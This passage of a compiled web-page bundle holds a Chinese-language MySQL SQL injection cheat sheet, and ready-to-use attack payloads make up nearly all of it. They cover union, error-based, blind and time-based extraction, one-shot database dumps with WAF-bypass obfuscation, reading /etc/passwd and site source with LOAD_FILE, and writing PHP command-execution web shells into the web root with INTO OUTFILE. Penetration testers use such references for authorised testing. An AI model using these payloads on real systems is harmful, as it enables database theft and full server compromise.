USING(id,name))a\n...\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u63d0\u53d6\u4e0d\u5e26\u5217\u540d\u7684\u6570\u636e",children:"\u63d0\u53d6\u4e0d\u5e26\u5217\u540d\u7684\u6570\u636e"}),"\n",(0,l.jsx)(n.p,{children:"\u5728\u4e0d\u77e5\u9053\u7b2c 4 \u5217\u540d\u79f0\u7684\u60c5\u51b5\u4e0b\u63d0\u53d6\u6570\u636e\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u67e5\u8be2\u5185\u90e8\u7684\u6ce8\u5165\u793a\u4f8b ",(0,l.jsx)(n.code,{children:"select author_id,title from posts where author_id=[INJECT_HERE]"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);\n+-----------+-----------------------------------------------------------------+\n| author_id | title |\n+-----------+-----------------------------------------------------------------+\n| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |\n+-----------+-----------------------------------------------------------------+\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u4e8e-mysql-\u9519\u8bef",children:"\u57fa\u4e8e MYSQL \u9519\u8bef"}),"\n",(0,l.jsx)(n.h3,{id:"\u57fa\u4e8e-mysql-\u9519\u8bef-\u57fa\u672c",children:"\u57fa\u4e8e MYSQL \u9519\u8bef-\u57fa\u672c"}),"\n",(0,l.jsxs)(n.p,{children:["\u9002\u7528\u4e8e ",(0,l.jsx)(n.code,{children:"MySQL >= 4.1"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))\n'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u57fa\u4e8e-mysql-\u9519\u8bef\u7684-updatexml-\u51fd\u6570",children:"\u57fa\u4e8e MYSQL \u9519\u8bef\u7684-UpdateXML \u51fd\u6570"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-\nAND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--\nAND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--\nAND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--\nAND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u9605\u8bfb\u65f6\u95f4\u66f4\u77ed\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"' and updatexml(null,concat(0x0a,version()),null)-- -\n' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -\n"})}),"\n",(0,l.jsx)(n.h3,{id:"mysql-\u57fa\u4e8e\u9519\u8bef-\u63d0\u53d6\u503c\u51fd\u6570",children:"MYSQL \u57fa\u4e8e\u9519\u8bef-\u63d0\u53d6\u503c\u51fd\u6570"}),"\n",(0,l.jsxs)(n.p,{children:["\u9002\u7528\u4e8e ",(0,l.jsx)(n.code,{children:"MySQL >= 5.1"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--\n?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--\n?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--\n?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--\n?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u57fa\u4e8e-mysql-\u9519\u8bef\u7684-name_const-\u51fd\u6570\u4ec5\u9002\u7528\u4e8e\u5e38\u91cf",children:"\u57fa\u4e8e MYSQL \u9519\u8bef\u7684-NAME_CONST \u51fd\u6570\uff08\u4ec5\u9002\u7528\u4e8e\u5e38\u91cf\uff09"}),"\n",(0,l.jsxs)(n.p,{children:["\u9002\u7528\u4e8e ",(0,l.jsx)(n.code,{children:"MySQL >= 5.0"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--\n?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--\n?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u76f2",children:"MYSQL \u76f2"}),"\n",(0,l.jsx)(n.h3,{id:"\u5177\u6709\u7b49\u6548\u5b50\u5b57\u7b26\u4e32\u7684-mysql-\u76f2",children:"\u5177\u6709\u7b49\u6548\u5b50\u5b57\u7b26\u4e32\u7684 MYSQL \u76f2"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"?id=1 and substring(version(),1,1)=5\n?id=1 and right(left(version(),1),1)=5\n?id=1 and left(version(),1)=4\n?id=1 and ascii(lower(substr(Version(),1,1)))=51\n?id=1 and (select mid(version(),1,1)=4)\n?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'\n?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u4f7f\u7528\u4e8c\u8fdb\u5236\u67e5\u8be2\u548c-regexp-\u5728-order-by-\u5b50\u53e5\u4e2d\u8fdb\u884c-mysql-\u76f2-sql-\u6ce8\u5165",children:"\u4f7f\u7528\u4e8c\u8fdb\u5236\u67e5\u8be2\u548c REGEXP \u5728 ORDER BY \u5b50\u53e5\u4e2d\u8fdb\u884c MySQL \u76f2 SQL \u6ce8\u5165"}),"\n",(0,l.jsx)(n.p,{children:"\u8fd9\u4e2a\u67e5\u8be2\u57fa\u672c\u4e0a\u6309\u4e00\u5217\u6216\u53e6\u4e00\u5217\u6392\u5e8f\uff0c\u8fd9\u53d6\u51b3\u4e8e EXISTS\uff08\uff09\u662f\u5426\u8fd4\u56de 1. \u4e3a\u4e86\u8ba9 EXISTS\uff08\uff09\u51fd\u6570\u8fd4\u56de 1\uff0cREGEXP \u67e5\u8be2\u9700\u8981\u5339\u914d\uff0c\u8fd9\u610f\u5473\u7740\u60a8\u53ef\u4ee5\u9010\u4e2a\u5b57\u7b26\u5730\u4f2a\u9020\u76f2\u503c\uff0c\u5e76\u5728\u6ca1\u6709\u76f4\u63a5\u8f93\u51fa\u7684\u60c5\u51b5\u4e0b\u4ece\u6570\u636e\u5e93\u6cc4\u6f0f\u6570\u636e\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:'[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -\n'})}),"\n",(0,l.jsx)(n.h3,{id:"mysql-\u76f2-sql-\u6ce8\u5165\u4e8c\u8fdb\u5236\u67e5\u8be2\u4f7f\u7528-regexp",children:"MySQL \u76f2 SQL \u6ce8\u5165\u4e8c\u8fdb\u5236\u67e5\u8be2\u4f7f\u7528 REGEXP\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u6709\u6548\u8f7d\u8377\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:'\' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -\n'})}),"\n",(0,l.jsx)(n.p,{children:"\u5c06\u5728\u67e5\u8be2\u4e2d\u5de5\u4f5c\uff08\u5176\u4e2d\u201cwhere\u201d\u5b50\u53e5\u662f\u6ce8\u5165\u70b9\uff09\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP \"^a.*\") THEN SLEEP(3) ELSE 1 END)); -- -';\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u5728\u4e0a\u8ff0\u67e5\u8be2\u4e2d\uff0c\u5b83\u5c06\u68c0\u67e5\u201c\u9879\u76ee\u201d\u6570\u636e\u5e93\u4e2d\u4ee5\u201ca\u201d\u5f00\u5934\u7684\u201c\u540d\u79f0\u201d\u5217\u4e2d\u662f\u5426\u5b58\u5728\u9879\u76ee\u3002\u5982\u679c\u5b83\u80fd\u4e3a\u6bcf\u4e2a\u9879\u76ee\u7761\u7720 3 \u79d2\u3002"}),"\n",(0,l.jsx)(n.h3,{id:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5\u7684-mysql-\u76f2",children:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5\u7684 MYSQL \u76f2"}),"\n",(0,l.jsxs)(n.p,{children:["\u771f\uff1a ",(0,l.jsx)(n.code,{children:"if @@version starts with a 5"}),"\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2\nResponse:\nHTTP/1.1 500 Internal Server Error\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u9519\u8bef\uff1a ",(0,l.jsx)(n.code,{children:"if @@version starts with a 4"}),"\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2\nResponse:\nHTTP/1.1 200 OK\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u5e26-make_set-\u7684-mysql-\u76f2",children:"\u5e26 MAKE_SET \u7684 MYSQL \u76f2"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"AND MAKE_SET(YOLO<(SELECT(length(version()))),1)\nAND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)\nAND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)\nAND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u5e26-like-\u7684-mysql-\u76f2",children:"\u5e26 LIKE \u7684 MYSQL \u76f2"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.a,{href:"https://www.w3resource.com/sql/wildcards-like-operator/wildcards-underscore.php",children:"'_'"}),"\u7684\u4f5c\u7528\u7c7b\u4f3c\u6b63\u5219\u8868\u8fbe\u5f0f\u5b57\u7b26\u201c.\u201d\uff0c\u7528\u5b83\u6765\u52a0\u901f\u60a8\u7684\u76f2\u6d4b"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u57fa\u4e8e\u65f6\u95f4",children:"MYSQL \u57fa\u4e8e\u65f6\u95f4"}),"\n",(0,l.jsx)(n.p,{children:"\u4ee5\u4e0b SQL \u4ee3\u7801\u5c06\u5ef6\u8fdf MySQL \u7684\u8f93\u51fa\u3002"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["MySQL 4/5: ",(0,l.jsx)(n.code,{children:"BENCHMARK()"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"+BENCHMARK(40000000,SHA1(1337))+\n'%2Bbenchmark(3200,SHA1(1))%2B'\nAND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1\n"})}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["MySQL 5: ",(0,l.jsx)(n.code,{children:"SLEEP()"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"RLIKE SLEEP([SLEEPTIME])\nOR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))\n"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"\u5728\u5b50\u9009\u62e9\u4e2d\u4f7f\u7528-sleep",children:"\u5728\u5b50\u9009\u62e9\u4e2d\u4f7f\u7528 SLEEP"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:"1 and (select sleep(10) from dual where database() like '%')#\n1 and (select sleep(10) from dual where database() like '___')# \n1 and (select sleep(10) from dual where database() like '____')#\n1 and (select sleep(10) from dual where database() like '_____')#\n1 and (select sleep(10) from dual where database() like 'a____')#\n...\n1 and (select sleep(10) from dual where database() like 's____')#\n1 and (select sleep(10) from dual where database() like 'sa___')#\n...\n1 and (select sleep(10) from dual where database() like 'sw___')#\n1 and (select sleep(10) from dual where database() like 'swa__')#\n1 and (select sleep(10) from dual where database() like 'swb__')#\n1 and (select sleep(10) from dual where database() like 'swi__')#\n...\n1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5",children:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --\n?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --\n?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-dios-\u4e00\u6b21\u6027\u8f6c\u50a8",children:"MYSQL DIOS-\u4e00\u6b21\u6027\u8f6c\u50a8"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#\n\n(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#\n\n-- SecurityIdiots\nmake_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)\n\n-- Profexer\n(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)\n\n-- Dr.Z3r0\n(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))\n\n-- M@dBl00d\n(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))\n\n-- Zen\n+make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)\n\n-- Zen WAF\n(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)\n\n-- ~tr0jAn WAF\n+concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+\n\n-- ~tr0jAn Benchmark\n+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+\n\n-- N1Z4M WAF\n+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+\n\n-- sharik\n(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u5f53\u524d\u67e5\u8be2",children:"MYSQL \u5f53\u524d\u67e5\u8be2"}),"\n",(0,l.jsx)(n.p,{children:"\u8be5\u8868\u53ef\u4ee5\u5217\u51fa DB \u76ee\u524d\u6b63\u5728\u6267\u884c\u7684\u6240\u6709\u64cd\u4f5c\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #\n\n-- Dump in one shot example for the table content.\nunion select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u8bfb\u53d6\u6587\u4ef6\u7684\u5185\u5bb9",children:"MYSQL \u8bfb\u53d6\u6587\u4ef6\u7684\u5185\u5bb9"}),"\n",(0,l.jsxs)(n.p,{children:["\u9700\u8981 ",(0,l.jsx)(n.code,{children:"filepriv"}),"\uff0c\u5426\u5219\u60a8\u5c06\u5f97\u5230\u9519\u8bef\uff1a ",(0,l.jsx)(n.code,{children:"ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"' UNION ALL SELECT LOAD_FILE('/etc/passwd') --\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u60a8\u5728\u6570\u636e\u5e93\u4e0a\uff0c\u5219\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u67e5\u8be2\u91cd\u65b0\u542f\u7528 ",(0,l.jsx)(n.code,{children:"LOAD_FILE"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u7f16\u5199\u4e00\u4e2a-shell",children:"MYSQL \u7f16\u5199\u4e00\u4e2a shell"}),"\n",(0,l.jsx)(n.h3,{id:"\u8fdb\u5165\u5916\u573a\u6cd5",children:"\u8fdb\u5165\u5916\u573a\u6cd5"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"[...] UNION SELECT \"<?php system($_GET['cmd']); ?>\" into outfile \"C:\\\\xampp\\\\htdocs\\\\backdoor.php\"\n[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'\n[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\\\wamp\\\\www\\\\pwnd.php'-- -\n[...] union all select 1,2,3,4,\"<?php echo shell_exec($_GET['cmd']);?>\",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u5199\u5165\u6587\u4ef6\u65b9\u6cd5",children:"\u5199\u5165\u6587\u4ef6\u65b9\u6cd5"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'\n[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u622a\u65ad",children:"MYSQL \u622a\u65ad"}),"\n",(0,l.jsxs)(n.p,{children:["\u5728 MYSQL \u4e2d\uff0c\u201c ",(0,l.jsx)(n.code,{children:"admin "}),"\u201d\u548c\u201c ",(0,l.jsx)(n.code,{children:"admin"}),"\u201d\u662f\u76f8\u540c\u7684\u3002\u5982\u679c\u6570\u636e\u5e93\u4e2d\u7684 username \u5217\u6709\u5b57\u7b26\u9650\u5236\uff0c\u5219\u4f1a\u622a\u65ad\u5176\u4f59\u5b57\u7b26\u3002\u56e0\u6b64\uff0c\u5982\u679c\u6570\u636e\u5e93\u7684\u5217\u9650\u5236\u4e3a 20 \u4e2a\u5b57\u7b26\uff0c\u5e76\u4e14\u6211\u4eec\u8f93\u5165\u4e86\u4e00\u4e2a\u5305\u542b 21 \u4e2a\u5b57\u7b26\u7684\u5b57\u7b26\u4e32\uff0c\u5219\u6700\u540e 1 \u4e2a\u5b57\u7b26\u5c06\u88ab\u5220\u9664\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"`username` varchar(20) not null\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6709\u6548\u8f7d\u8377\uff1a ",(0,l.jsx)(n.code,{children:'username = "admin a"'})]}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u5feb\u901f\u5229\u7528",children:"MYSQL \u5feb\u901f\u5229\u7528"}),"\n",(0,l.jsxs)(n.p,{children:["\u8981\u6c42\uff1a ",(0,l.jsx)(n.code,{children:"MySQL >= 5.7.22"})]}),"\n",(0,l.jsxs)(n.p,{children:["\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"json_arrayagg()"})," 